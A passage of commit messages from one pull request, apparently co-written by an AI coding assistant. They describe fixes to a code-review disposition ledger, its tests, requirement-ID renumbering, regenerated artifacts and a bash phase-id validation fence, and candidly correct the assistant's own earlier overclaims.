Two defects from pass 3 are fixed rather than deleted, because they are in the
guard and not the store:

- **Known-empty and NOT-KNOWN were conflated.** `### CR-01:` yields an empty
  title; that is a title. While it emitted no `title:` key it read back as a
  pre-format ledger and inherited across a reused id — the same leak, three
  passes running. Emitted whenever the title is known, empty included; a carried
  row no source knows stays absent, which is the legacy-compatible read.
  Underneath it was a falsy fallback: `(act && act.t) || priorTitle.get(id)`
  discards `''`. Now a typeof check.
- **JSON.parse ran on legacy values.** A pre-format ledger whose bare title was
  written `"quoted"` was parsed and lost its quotes, so the decision stopped
  matching. The frontmatter now declares `titles: json` and the parse is gated on
  it; a ledger without the marker keeps its scalars.

One defect from pass 3 is NOT mine and is not fixed here: a converged run prints
a success message from the loop break AND another from `present_results`. Both
predate this round. My earlier claim that "the duplicate is gone" was true only
of the pair I introduced; the pre-existing pair stands, and widening this round
into `present_results` is not warranted.

188 tests pass. The three new tests fire against the pre-simplification step.
`lint:ci` exits 0. The step file is 55,590 chars, down from a 62,220 peak.

* docs(#3829): stop the ledger promising a preservation it no longer makes

Fourth review pass. No machinery defects this time — both findings are claims in
text this step SHIPS, which is the class this whole stack exists to prevent.

**The rendered ledger still said "Re-running the gate preserves every row and
every disposition."** That was true until the same round gave the step an
intentional drop for a reused finding id, and then it was false in the artifact's
own user-facing footer. It now states what the step does, including the one
exception, where a reader actually meets it.

**And the console asserted "the previous ledger is in git."** Committing the
ledger is gated on `commit_docs`, and a failed commit is swallowed — so under
`commit_docs=false` the overwritten decision may exist nowhere. The note reports
the drop and stops there; asserting a recovery path that may not be there is the
same overclaim in a smaller font.

Two residuals from the same pass are DECLINED and documented rather than fixed,
because both would need the second identity scheme just withdrawn:

- A pre-titles ledger carries no titles, so its decisions inherit on the id
  alone. Refusing there resets every decision in every existing ledger, which is
  the loss the guard exists to prevent.
- Two genuinely distinct findings sharing both an id and a title are
  indistinguishable to an (id, title) key.

The pass also refuted the `titles: json` marker on a ledger written by
`b86ea6065^`, which emitted JSON titles before the marker existed. Declined:
that revision is an intermediate commit on this unpushed branch and has never
been released. The PR's published head writes no titles at all, so a real ledger
is either pre-titles (unmarked, bare — handled) or written by the shipped version
(marked). The unmarked-JSON state cannot reach a user.

Test pinned, and it fails against the pre-correction step.

* docs(#3829): fix four wrong citations and one false size justification

All four came out of a claim-audit of this round's own response comment — an
audit of the text, not the code, which is where the remaining errors were.

- **The caller citation was wrong.** The in-code note said both inputs bind from
  `gsd_run query init.phase-op`. `execute-phase.md:85` uses `init.execute-phase`;
  only `code-review-fix.md:22` uses `init.phase-op`. The substantive point is
  unchanged — both are orchestrator-derived, neither is raw user input — but the
  citation was not checked.
- **A leftover "the prior row is in git."** Removed from the console note last
  commit, left standing in the comment two lines above it.
- **The docs still carried the promise the ledger had just dropped.** The
  rendered footer was corrected; the same sentence in
  `docs/features/code-review-pipeline.md` was not.
- **The SIZE_ONLY_WORKFLOWS justification was false.** It claimed the added CODE
  alone exceeded the threshold. Removing every round-added comment leaves 47,148
  chars against a 50,000 limit, so the file CAN fit — the claim was wrong, and an
  exemption defended on a wrong premise is worse than no exemption.

So the entry is re-justified on what is actually true, and earned first: another
**10,188 chars** of this round's own commentary are cut (62,220 → 52,032, from a
44,523 baseline that was already 89% of the budget). Fitting under is possible
only by stripping essentially all remaining explanation from logic three review
passes found defects in. That is the wrong trade in a file whose house style is
heavy in-fence documentation, and the entry says so rather than implying the
file had no choice.

One measurement corrected while checking: the Windows-lane skip count is **37**,
not the 22 the review cited nor the 26 I first counted. Twenty-two and 26 count
`{ skip: !HAS_BASH }` CALL SITES; a skip on a `describe` cancels its subtests.
Forced the constant false and counted what actually skips.

236 tests pass. `lint:ci` exits 0.

* fix(#3829): the drop report is conditional, and two published claims were not

A fifth adversarial pass, run against the two commits that went out AFTER the
fourth pass and were never reviewed, refuted three claims this round published.

1. The drop is NOT reported unconditionally. `row()` reports only a RECORDED
   decision (`was.d !== 'open'`); a prior row still at `open` is replaced in
   silence. The behaviour is right — `open` records no decision to lose — but
   the shipped ledger legend and BOTH feature docs asserted the report happens
   every time. Text corrected in all three places, which is the same defect
   class this round already corrected once for the preservation promise.

2. The test guarding that console wording was VACUOUS: it ran with no prior
   ledger, so no reuse occurred and its `is in git` assertion could not have
   failed however the console was worded. Driven through a real drop now, with
   the drop asserted as a precondition. A new test covers the `open` arm and
   fails on the pre-fix legend.

3. The HAS_BASH gap is now MEASURED rather than assumed, on native Windows with
   Git Bash 5.2.37 / MINGW64 first on PATH, node v25.2.1:

       HAS_BASH left alone:  179 tests, 127 pass,  0 fail, 52 skipped
       HAS_BASH forced true: 179 tests, 140 pass, 24 fail, 15 skipped

   So 37 of the skips are this guard's, confirming the count the round
   published — and unskipping is NOT a clean win: 24 fail, clustered on
   `bash -c` quoting and spawn failures, exactly the divergence the eslint
   rule's subject line names. The guard stays; it now documents a measured gap.
   The stale "the count is 22" comment is gone.

4. The size-exemption justification was wrong a second time. The overshoot is
   ~2.3K normalized chars, not "essentially all remaining explanation": the
   round's committed peak was 59,246 chars (not 62,220, which was never
   committed), and it entered at 44,466 chars, not 44,523 — both earlier
   figures mixed bytes into a character measurement. Rewritten to the numbers
   the scanner actually produces.

Also: the shipped comment said both callers validate the phase shape without
naming that they validate PADDED_PHASE, not the raw PHASE_NUMBER this step is
handed.

* fix(#3829): renumber this PR's two REQs, which #3661 took while the branch sat

The rebase onto current `next` surfaced a REQ-number collision, not a text
conflict. #3661 landed `REQ-REVIEW-08` (`workflow.code_review_point`) on
`docs/features/code-review-pipeline.md` while this branch also claimed 08 and
09 for severity surfacing and the per-finding disposition. Two different
requirements under one identifier is the kind of thing that reads as correct in
both diffs and is wrong in the merged tree.

Base numbering wins, because it shipped: `REQ-REVIEW-08` stays #3661's. This
PR's two become **REQ-REVIEW-09** (severity surfacing) and **REQ-REVIEW-10**
(per-finding disposition). Swept the whole tree rather than the conflict hunk —
two references sat in files git merged cleanly and never flagged:

- `gsd-core/workflows/code-review-fix.md:450`, the prose stating why
  `record_disposition` is the step's only reachable call site.
- `tests/code-review-pipeline-regression.test.cjs:1782`, the comment on the
  test that pins that call site.

`docs/FEATURES.md` is regenerated from the fragment rather than hand-edited;
`node scripts/gen-features.cjs --check` is green (178 features, 21 groups) and
`lint:generated-sync` exits 0.

Two things stated rather than quietly carried. The `Emitted-Drift-Ack-Growth`
trailer on the round-2 commit still reads `REQ-REVIEW-09` for what is now
REQ-REVIEW-10 — it is a historical acknowledgment of that commit's growth, and
its purpose is unaffected, so it is left rather than rewritten across 52
replayed commits. And `docs/INVENTORY-MANIFEST.json` appeared stale immediately
after the replay, reporting two missing `cli_modules/` entries; that was the
lane's pre-rebase build output, not manifest drift. Rebuilding in the replayed
lane and re-checking shows it in sync and unmodified. Regenerating before the
build would have committed the deletion of two base-added entries.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015mgqVNP3rqTVMgBNnBMnGH

* test(#3829): reach the title round-trip with a generator that can break it

Round 6's only finding. The round-5 title tracking introduced a fresh parser
(the `titles: json` / `  - id:` / `    title:` frontmatter walk) and a fresh
bijective contract (`JSON.stringify(oneLine(t))` out, `/^    title: (.*)$/`
plus `JSON.parse` back in), and `tests/code-review-disposition.property.test.cjs`
was untouched since round 4 with no reference to `title` at all. Every heading
the generator built was `'### <id>: finding number <i>'` — never a colon, a
quote, a backslash, or the empty string.

You were right that this is the round-3 shape again, and I would rather
demonstrate that than assert it. Two mutations to the shipped step, each a
plausible edit rather than a contrived one:

  A. render `titles: raw` instead of `titles: json`, so the re-parser never
     JSON.parses and stores the quoted scalar as the title;
  B. `yv = (t) => oneLine(t)` — the bare scalar, no JSON at all.

    mutation A — new generator: FAIL     old generator: pass (3/3)
    mutation B — new generator: FAIL     old generator: pass (3/3)

Both ship past the pre-round suite. The gap was reachable, not theoretical.

What changed:

- `TITLE`, a new arbitrary drawn from the class the render's own comments say
  the escaping is for — `:` (why `yv()` exists), `"` and `\` (what
  stringify/parse must round-trip), the empty string (the known-empty vs
  not-known distinction the render draws explicitly) — plus scalars that MIMIC
  the ledger's own frontmatter grammar (`findings:`, `titles: json`, a nested
  `    title: ` line, `  - id: CR-99`), unicode, surrounding whitespace, and one
  title long enough to outrun a scanner assuming short scalars.
- `FINDINGS` now carries a title per id, so all four properties run the cycle
  over the title contract instead of over a constant. `IDS` keeps the old
  id-only shape it is built from.
- A fourth property asserting the round trip in the two places it is observable:
  the stored scalar must `JSON.parse` back to the trimmed heading title, and a
  hand-recorded decision must survive the next run.

The second half is the one that matters, and its construction is the point.
The decision is made by EDITING THE RENDERED LEDGER IN PLACE, never by writing
a bare row the way the existing properties do. A bare row carries no
frontmatter, so `priorTitle` is empty, `sameFinding()` returns true through its
`!priorTitle.has(id)` back-compat arm, and the title contract is never
consulted — the property would pass over a completely broken round-trip. Both
mutations above go green against the bare-row form. That collapse is why the
property is written this way, and the comment says so in place.

So the assertion is the consequence, not the JSON: a lossy round-trip does not
corrupt a title, it makes `sameFinding()` false and resets a human's `deferred`
to `open` with the reason gone — this PR's own founding failure mode, reached
through the field the round-5 work added.

BOUND, stated rather than quietly omitted: the generator emits no CR or LF. A
`###` heading is one line by definition, so a newline is not an input the
heading parser can be handed; `oneLine()` guards the value's other producers,
not this one.

Two things found while writing it, both corrected here rather than left:

- `runOnce` now returns stdout. The reuse report is a CONSOLE note, not a
  ledger key, so my first draft's `assert.doesNotMatch(ledger, /^reused:/m)`
  was vacuously true forever — a test that cannot fail.
- `expectedTitle` is a TRIM, not a `\s+` collapse. Collapsing is `sameTitle`'s
  COMPARISON rule; `oneLine()` is the STORAGE rule and preserves internal
  whitespace. The collapse form fails on an internal tab against entirely
  correct code, which is how a test gets weakened instead of believed the first
  time it goes red.

The file header claimed "two properties" while three were running; it now
states four, one line each.

239 tests pass across the four pipeline files, 0 skipped. `lint:ci` exits 0
(`lint-workflow-shellcheck`: 203 baseline findings, 0 new).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015mgqVNP3rqTVMgBNnBMnGH

* test(#3829): the prefix census guard now says four sites, because round 5 added one

Self-found, from re-deriving the round-1 finding-id census this round rather
than carrying the round-1 verdict forward.

The census guard's comment says the prefix set is "written out three times —
the heading matcher, the ledger re-parser, and (by its keys) the severity map".
That was true when it was written. Round 5's title tracking added a fourth
copy: the frontmatter `- id: ((?:CR|BL|WR|IN)-\d+)` matcher that rebuilds
`priorTitle`.

The guard itself did not fall behind, and the reason is worth keeping visible:
`idAlternations()` scans the extracted script by PATTERN rather than walking a
fixed list of sites, so the new alternation was absorbed with no edit. Verified
by running the extractor at this head — three alternations found, one distinct
set, severity map keys `CR,BL,WR` with `IN` on the documented `info` default,
0 domain members not reached.

Only the prose fell behind. Corrected, with the pattern-scan rationale stated
in place so the next reader does not helpfully convert it into the hand-listed
enumeration it deliberately is not — which would be exactly the defect this
guard exists to catch, in the guard.

Census discharge for this round: re-derived at the rebased head over the
extracted shipped script, 3 enumeration sites reached, 0 not reached; the
domain (the prefixes `gsd-code-reviewer.md` can emit, walked across both its
heading template and its prose Label-equivalence paragraph) is unchanged since
round 1 at 4 of 4.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015mgqVNP3rqTVMgBNnBMnGH

* test(#3829): catch a duplicate REQ id in a fragment, since nothing did

Not from your review — this is the test the round owed itself, and I would
rather say why than let it look like scope creep.

The renumber commit earlier in this round has no reversion control without it.
I reverted that fix to check, and the first attempt LOOKED controlled: reverting
only the fragment turned `gen-features --check` red. That is the generated-sync
gate noticing the projection went stale, not anything noticing the collision.
Reverting CONSISTENTLY — fragment plus a regenerated `docs/FEATURES.md` — is
silent:

    gen-features --check   rc=0
    lint:ci                rc=0
    pipeline suite         rc=0

with two `REQ-REVIEW-08` entries standing in one requirement list. Nothing in
the repo reads REQ ids at all, so there was no second place for it to be caught.

The failure this guards is a MERGE, not an edit, which is why review does not
see it: two PRs open at once each append "the next" REQ number to the same list,
and whichever lands second is rebased onto a list that already used it. git
merges them as different lines of one file and reports nothing. Neither PR's
diff shows a collision — each is correct against the tree it was written on.
That is exactly how #3661 and this PR both ended up claiming REQ-REVIEW-08.

Scope, stated because it is the part that could be wrong: the check is WITHIN a
fragment, never across the corpus. Two different features legitimately both
carry `REQ-REVIEW-01..07` — the cross-AI review feature and the code-review
pipeline — so corpus-wide uniqueness would be false on the committed tree and
would have to be weakened the day it first ran. A requirement list belongs to
its feature; that is the scope of the identifier.

It lives in `describe('the committed docs/features/ corpus')` because it is an
invariant over the committed corpus, which is that block's stated job, and it
pins no count — the file's own header rules out counts as shared mutable cells
that every feature PR would have to edit.

Control: green on the committed tree (no fragment carries a duplicate today);
red on the restored collision, naming the file and the id. 85 tests pass in
this file.

Happy to drop this if you would rather the round stayed inside the review's
four corners — but then the renumber ships uncontrolled, and I would rather put
that choice in front of you than make it quietly.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015mgqVNP3rqTVMgBNnBMnGH

* test(#3829): finish the census comment correction, which stopped one line short

Found by this round's own pre-push adversarial review, which refuted the claim
the previous commit made about itself.

`7f019d985` said the census comment correction was complete. It corrected one
site and left two, both in the helper block twelve lines above the test it
belongs to:

- `severityMapKeys`' header still read "The THIRD copy: the severity map's
  keys". With three alternations the map is the FOURTH copy, and has been since
  round 5.
- `idAlternations`' header said "adding a prefix to only two of them is silent",
  written when there were two alternations and never updated to three.

This is the defect the original correction was ABOUT, committed inside the
correction: a fragment of prose carries no supersession marker, so a reader
landing on line 2810 gets the dead count stated as current fact, and the fixed
comment eighty lines down does not reach them. Fixing one surface and leaving
its neighbour is not a partial fix, it is the same fix not done.

The region is now consistent end to end, and both headers say the thing that
actually matters — the scan is by PATTERN, not a fixed list of sites, which is
why round 5's new matcher needed no edit here and why converting it to an
enumeration would reintroduce exactly the drift it guards.

WHILE HERE, a disclosure that was narrower than the truth. `7a6680e8f` said the
`Emitted-Drift-Ack-Growth` trailer still names REQ-REVIEW-09 for what is now
REQ-REVIEW-10, and left it deliberately rather than rewrite 52 replayed
commits. That is right, but it is not the whole set: the message BODIES of
`c94106568` ("wire the disposition ledger into the fix path") and `06282f668`
("migrate the emitted-drift ack") both state "REQ-REVIEW-09 was unreachable in
every shipped path", meaning the disposition requirement, which is now
REQ-REVIEW-10.

Same decision, stated at its real size: three historical references, not one.
They are commit history rather than living documentation — git is the record of
what was believed when — and rewriting the branch to correct a number in a
message would cost every review round its correspondence to the commits it
reviewed. The TREE carries no stale reference; `docs/`, the workflows and the
tests all read REQ-REVIEW-09 for severity surfacing and REQ-REVIEW-10 for the
disposition.

Regression file: 181 tests pass, 0 skipped.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015mgqVNP3rqTVMgBNnBMnGH

* test(#3829): the third stale count, and a disclosure that over-counted itself

Both found by re-running this round's pre-push review after the last fix. It
refuted the commit that claimed the region was consistent — for the second time
in a row — and it was right again.

**The third site.** `:2917` said "And the third copy, which is not an
alternation" and `:2919` said "Without this, both regexes can gain a prefix".
Written when there were two alternations; there are three, so the map is the
fourth copy and it is three regexes that can drift.

Worth saying how it survived two passes, because the mechanism is the point and
it is the same one this PR keeps re-learning. Both earlier passes VERIFIED with
a grep built from the strings I had just fixed — `THIRD copy`, case-sensitive,
plus a handful of phrasings I expected. `the third copy` in lowercase matched
none of them, and `both regexes` was not a phrasing I thought to look for. A
grep returns what you already thought of; that is not a verification of prose,
it is a re-statement of your own assumption. The region is now checked by
reading it end to end, and all four count statements agree: three alternations
(heading matcher, ledger row re-parser, frontmatter `- id:` matcher), with the
severity map as the fourth copy.

**And the disclosure over-counted.** The previous commit widened the historical
REQ-REVIEW-09 references from one to three. Three is wrong. There are TWO
underlying statements:

  - `c94106568`'s message body, and
  - the `Emitted-Drift-Ack-Growth` trailer on `06282f668`.

I counted `06282f668` twice — once as "the trailer" and once as "a body" — when
its only mention IS that trailer (`git show -s --format=%B 06282f668 |
grep -c REQ-REVIEW-09` outside the trailer line: 0). Over-counting is the safe
direction and it is still a wrong number in a message, which is the thing this
round has been correcting all along.

The decision is unchanged: both are commit history rather than living
documentation, and rewriting the branch to fix a number in a message would cost
every review round its correspondence to the commits it reviewed. The TREE
carries no stale reference — 08 is #3661's `workflow.code_review_point`, 09 is
severity surfacing, 10 is the per-finding disposition.

Comment-only in one test file; no assertion, regex or extracted-script
expectation moved. Regression file: 181 tests pass, 0 skipped.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015mgqVNP3rqTVMgBNnBMnGH

* fix(#3829): join the disposition-step dispatch so REQ-LANG-04 inheritance is provable

`lint-response-language-coverage` (#2529, which landed on `next` after this PR was
approved) reported `execute-phase/steps/code-review-disposition.md` as having no
response-language coverage. The step does inherit it: `execute-phase.md` imports
`references/execute-phase-response-language.md` and dispatches the step with
`Read and execute`. The dispatch stub wrapped, leaving the verb at the end of one
line and the path at the start of the next, and `namesFragmentAsEntryPoint` matches
within a single line — so a genuine inheritance was unprovable to the linter.

Rejoining the verb and the path restores it: `namesFragmentAsEntryPoint` goes
false -> true and the lint reports `OK (165 workflows covered)`. Only line breaks
move — the word stream is identical to the previous revision, and the file is
unchanged at 93,390 bytes, so no growth acknowledgment is owed.

This takes the third coverage form the lint documents — inheritance — rather than
the inline directive the CI message names first. Where inheritance is provable the
lint's own comments say a second copy "buys no coverage and adds a sentence that
can drift", and the step file already sits over the prompt-stuffing threshold.

Swept all 76 fragments in the catalog: this is the only one whose parent's previous
line ends with a dispatch verb. The 17 others that are mentioned without a provable
entry point are table-routed or bare prose references carrying no dispatch verb at
all, and correctly hold the pinned inline directive instead.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01JgX6QQmygeZnQqbc3o8RNC

* chore(#3829): regenerate derived artifacts after rebase onto next

The rebase onto current `next` conflicted on the 19 install-tree goldens and
`docs/FEATURES.md`. Those are generated, so the conflicts were resolved
arbitrarily and the generators re-run (`npm run regen:derived`) rather than
hand-merged — a clean textual merge of a generated file attests the merge, never
the content.

Reconciled per artifact against the base's own committed copy rather than against
the pre-regen tree, because the pre-regen tree is the arbitrary resolution:

  - all 19 `tests/fixtures/install-tree/*.json` now differ from
    `upstream/next` by exactly one key,
    `gsd-core/workflows/execute-phase/steps/code-review-disposition.md`;
  - `docs/FEATURES.md` differs by exactly REQ-REVIEW-09/10 and this PR's own
    reference section;
  - `docs/INVENTORY-MANIFEST.json` differs by exactly the same one step file,
    and needed no regeneration to get there.

Nothing the base added was dropped by the arbitrary resolution: the restored
entries (the `gsd-core/agents/` and `gsd-core/commands/gsd/` families, the
compact templates, the `detail/elaboration.md` files, `gsd-secret-read-guard.js`)
are all base-owned and came back through the generator, which is what the
resolve-arbitrarily-then-regenerate discipline is for.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EBjyHFtRTtHDD2tM6V6aUV

* fix(#3829): repair the rebase's conflict resolution in the regression suite

The rebase onto current `next` hit one add/add conflict in this file: #4209's
external-reviewer-evidence describe and this PR's #3829 block were added at the
same insertion point. Resolving it by keeping both sides was correct in
substance and wrong in mechanics — the conflict boundary cuts through two open
blocks that the SHARED trailing `  });\n});` closes, so each side carries +2
unbalanced braces on its own and concatenating them left the file with 683 `{`
against 680 `}`.

`node --check` fails outright, so the whole file deregistered rather than
failing a test — 188 tests silently stopped existing. Rebuilt the region as a
real three-way merge (ancestor a262ad6b6, ours upstream/next, theirs 77ee739c3)
and closed the first side explicitly before the second begins.

Both feature blocks are present exactly once, braces balance 683/683, and the
file runs 188/188 locally. The sibling markdown file resolved the same way is
unaffected and was checked rather than assumed: prose has no block structure to
unbalance, and it differs from the base by 112 added lines with zero removed.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EBjyHFtRTtHDD2tM6V6aUV

* test(#3829): inject the unreadable-review failure in a way root cannot bypass

Round 9 finding 1. `runShippedGateCounts({ mode: 0o000 })` does not simulate an
unreadable review under root: root bypasses POSIX read permission bits, so the
fence's `[ -f "$REVIEW_FILE" ] && [ -r "$REVIEW_FILE" ]` guard stays true, the
fixture is read, and the assertion sees a real breakdown where it expects
silence. Reproduced as reported — `node:24-slim`, euid 0:

    not ok 18 - an unreadable REVIEW.md leaves the counts empty and does not abort
    actual: 'Code review: 4 findings — 1 critical, 2 warning, 1 info.\n...'

**The prescribed remedy does not reach this site, so this adapts it rather than
applying it.** Stubbing `fs.readFileSync` to throw EACCES is the right fix where
the read happens in-process; here the read is performed by a spawned `bash`, so
node's `fs` is not on the code path and the stub would change nothing.

What the guard actually has is two legs, and only `-r` is defeated by root:

  - the `-r` leg keeps the mode-bit fixture and declares the lanes it cannot
    bind on (`win32`, `euid 0`), which is exactly what
    tests/plan-review-convergence.test.cjs:2326 does for its own shell-side
    `-r` arm — the repo's existing precedent for this shape;
  - the `-f` leg is new and root-immune: a DIRECTORY at the review path fails
    `-f` for every euid, reaching the same non-reporting arm with the same
    observable. It binds on the bench lane where the first test is skipped.

Skipping the first without adding the second would have traded a false failure
for lost coverage on the only lane that found this.

Reversion control, run as root: reverting this commit fails exactly
`an unreadable REVIEW.md leaves the counts empty and does not abort` and its
enclosing describe `#3861 round 1 — the counts mirror is asserted against the
shipped shell`, with no other change to the failure set. **That answers the
round's open question** — the review flagged the describe as possibly a second
root cause; it is the first one's rollup, and there is no second.

Local (euid 1000): 189/189, both tests run.
Root: 179 pass / 1 skip, the skip naming its reason, the directory test running.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EBjyHFtRTtHDD2tM6V6aUV

* chore(#3829): refresh the compact-content benchmark baseline for the gate's edit

Self-found in this round; not raised in review. The base range landed #4139's
compact-content benchmark, whose committed baseline records per-workflow token
counts. This PR replaces a 12-line bash block in `execute-phase.md`'s
code_review_gate with a 5-line dispatch paragraph, which moves that workflow's
measured counts by 17 tokens — so the baseline the base just added drifts
against a tree it was measured before.

    DRIFT: split "execute-phase": off 25631 -> 25614 (-17), on 23380 -> 23363 (-17)
    DRIFT: aggregate: off 106923 -> 106906, on 90275 -> 90258

Refreshed with the remedy the script itself names
(`node scripts/benchmark-compact-content.cjs --write`). The regenerated diff
touches only the `execute-phase` entry and the aggregate — every other
workflow's numbers are byte-identical, which is the reconcile this PR's edit
predicts.

Attributed rather than assumed: `tests/benchmark-compact-content.test.cjs` is
27/27 at `upstream/next` with no PR content, and was 26/27 on this head. So the
drift is this PR's, not base noise — and it is invisible to a diff-scoped sweep,
because the PR never touches the baseline file and the base range is what
created it. The sibling `benchmark:compact-content-variants` was checked in the
same pass and reports up to date, so this is the only one of the pair affected.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EBjyHFtRTtHDD2tM6V6aUV

* test(#3829): cover an EMPTY REVIEW.md, a case the body claimed and no test reached

Found by this round's own adversarial audit of the PR body, not by review. The body
has said since round 1 that the suite covers "a REVIEW.md that is missing, empty,
or a directory". Two of those three were true. The empty one was not.

Every `reviewText: ''` call in this file also passes `writeReview: false`, which
makes the file MISSING, not empty — so the arm the body named had no test at all.
They are genuinely different paths through the shipped fence: a missing file never
gets past `[ -f ]`, while an empty one passes both `[ -f ]` and `[ -r ]` and is
actually opened and read.

Probed the shipped fence directly against a real empty file before asserting
anything: exit 0, empty stdout. So the behaviour was already correct and only the
coverage claim was false — which is the same "documented as covered, not covered"
shape this PR exists to make visible in the review gate, found in its own body.

The explanatory comment is deliberately precise about WHY the scan yields nothing,
because the plausible reading is wrong and a later reader would inherit it: it is
not the `NR==1{if($0!="---") exit}` guard. A zero-byte file gives awk no record, so
that action never runs (NR stays 0); the output is empty because `closed` is never
set. The comment also states what the test does not prove on its own — its
observable is identical to the missing-file case, so "the file was read" rests on
the harness and the fence, not on the assertions.

189 -> 190 tests in this file, all passing.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01EBjyHFtRTtHDD2tM6V6aUV

* chore(#3829): regenerate derived artifacts after rebase onto next

The rebase onto current `next` conflicted in the 19 install-tree goldens,
`docs/INVENTORY-MANIFEST.json` and the compact-content benchmark baseline.
Those are generated, so they were resolved arbitrarily and regenerated
with their own producers rather than hand-merged: every golden now differs
from `next`'s committed copy by exactly the one PR-owned entry
(`gsd-core/workflows/execute-phase/steps/code-review-disposition.md`), the
manifest by the same entry, and the benchmark baseline by the
`execute-phase` split plus the aggregate.

* chore(#3829): regenerate the platform-conformance tier for the added property test

`next` gained the conformance-tier classifier (#4591) and its CI gate after
this branch was cut. The branch adds `tests/code-review-disposition.property.test.cjs`,
so the generated tier list was one file short (546 != 547). Regenerated
with `node scripts/gen-platform-conformance-tier.cjs --write`; the macOS
tier (`--target macos --check`) already matched.

* chore(#3829): regenerate the two conflicted generated artifacts after the rebase

`next` moved 6 commits past the previous base and conflicted in exactly two
files, both generated:

- `tests/fixtures/compact-content-benchmark-baseline.json` — #4208 (`4cc2a466b`)
  and #4619 (`db4d8a9ba`) both moved the measured token counts, and this branch
  moves the `execute-phase` split too.
- `scripts/lib/platform-conformance-tier.generated.cjs` — #4641 (`4d65c248e`)
  made test-conformance the sole Windows selector and narrowed the tier to
  28.5%, and #4568/#4619 re-ran it after.

Both were resolved arbitrarily during the replay and then regenerated with
their own producers rather than hand-merged, per the generated-artifact rule:
`node scripts/benchmark-compact-content.cjs --write` and
`npm run regen:derived` (which runs `gen-platform-conformance-tier.cjs
--write` for both the default and the macOS target).

Reconciled against `next`'s own committed copies rather than the pre-regen
tree:

- the benchmark baseline differs from `next` by exactly the `execute-phase`
  split (`offTokens` 25827 -> 25810, `onTokens` 23576 -> 23559 — the 17-token
  delta this PR's step-file extraction has carried since round 5) plus the
  `aggregate` that sums it;
- the conformance tier differs from `next` by exactly one added entry,
  `tests/code-review-fix-pipeline-regression.test.cjs`. Under the narrowed
  28.5% selector that is the file the classifier now picks from this PR's
  test set. The arbitrary resolution had carried 282 stale lines computed
  under the pre-#4641 selector (`--numstat` on this commit: 3 insertions,
  282 deletions), and regeneration collapsed them.

The full derived sweep was run, not just the two named producers: all 19
install-tree goldens, `docs/INVENTORY-MANIFEST.json`, `docs/FEATURES.md`,
the macOS conformance tier and the exit-code registries regenerated
byte-identical, so nothing else drifted under the new base.

* fix(#3829): accept N-segment phase ids, and bound length per component

The base range added `scanMarkdownSingleSegmentPhaseRegex` (#4568,
`a2331c01f`), which refuses the single-optional-segment phase regex on
phase-carrying markdown lines under three roots — `gsd-core/workflows/`,
`gsd-core/references/` and `agents/` (`lint-phase-id-drift.cjs:301`,
`:373-387`). It flagged two lines in this step file. Chasing the flag
turned up two real defects behind it, so this commit is those rather than
the comment edit the flag literally asked for.

## Defect 1 — the step refused ids both its callers accept

The comments asserted that both callers validate `^[0-9]+(\.[0-9]+)?$`.
#4568 had widened those two call sites to `^[0-9]+(\.[0-9]+)*$`, so the
prose was stale. Correcting only the prose would have shipped a comment
promising N-segment support over code that refused it, because the step
carried a third `case` arm:

    *.*.*)        _ok=0 ;;   # more than one dot: not the documented shape

`23.1.2` took the refusal arm, `PADDED` came back empty, and the step
printed `Code review reporting skipped (unusable phase number ...)` and
wrote **no ledger** — for a phase id both of its callers accept.

It degraded loudly rather than silently; there is a diagnostic on stdout.
The traversal-fence test asserted that refusal as *correct*, listing
`1.2.3` among the values that must be rejected, so an arity bound and a
shape bound sat folded into one `case` arm with a test pinning the pair.

The arity arm is gone. Deleting it alone would have left the step
**wider** than its callers in one direction — `1..2` has an empty
segment, which `^[0-9]+(\.[0-9]+)*$` refuses and the retired arm had been
masking — so a third arm replaces it:

    *..*)         _ok=0 ;;   # EMPTY SEGMENT

## Defect 2 — the length bound was not per-component, though its comment said so

Removing the arity arm made a second defect reachable. The bound read:

    case "$_pn" in *.*) case "${_pn#*.}" in ?????????*) _ok=0 ;; esac ;; esac

`${_pn#*.}` is the whole tail after the first dot — one component only
while an id has at most two. With N-segment ids accepted, that form
rejects `1.1234567.1`, whose every component is a legal 7 digits, purely
because the tail measures 9 characters. The comment directly above it has
read **"LENGTH-BOUND EACH COMPONENT SEPARATELY"** since before this PR,
and had itself named the composite bound as "too strict" — the same
mistake, surviving one level up.

Both fences now walk the segments and bound each:

    _rest="$_pn"
    while [ -n "$_rest" ]; do
      case "$_rest" in
        *.*) _seg="${_rest%%.*}"; _rest="${_rest#*.}" ;;
        *)   _seg="$_rest";       _rest="" ;;
      esac
      case "$_seg" in ?????????*) _ok=0 ;; esac
    done

The `$((10#...))` overflow guard is preserved, per component: bash
integers wrap at 2^64, so an unbounded integer segment would silently
become a negative padded phase.

**The remaining divergence from the callers is a CLASS, not a list:** any
id carrying a component of nine or more characters is caller-accepted and
fence-refused — `123456789`, `1.999999999`, `1.123456789.1`,
`123456789.1`, `1.1.123456789` and so on. That narrowing is deliberate
and is the overflow guard. An earlier draft named two examples as though
they were exhaustive; that wording is withdrawn.

## What is NOT claimed

- The canonical grammar is `PHASE_NUMBER_TOKEN_SOURCE` in
  `src/phase-id.cts:65`, `\d+[A-Z]?(?:\.\d+)*`, added by **#2128**
  (`09be501eb`, 2026-07-10). An earlier draft dated it to #865
  (2026-06-08); that was the first commit to touch the *file*, not the
  one that added the constant, and it is withdrawn.
- #4568 gave the six shell sites **segment-count** parity with that
  grammar, not textual parity: the canonical source permits an optional
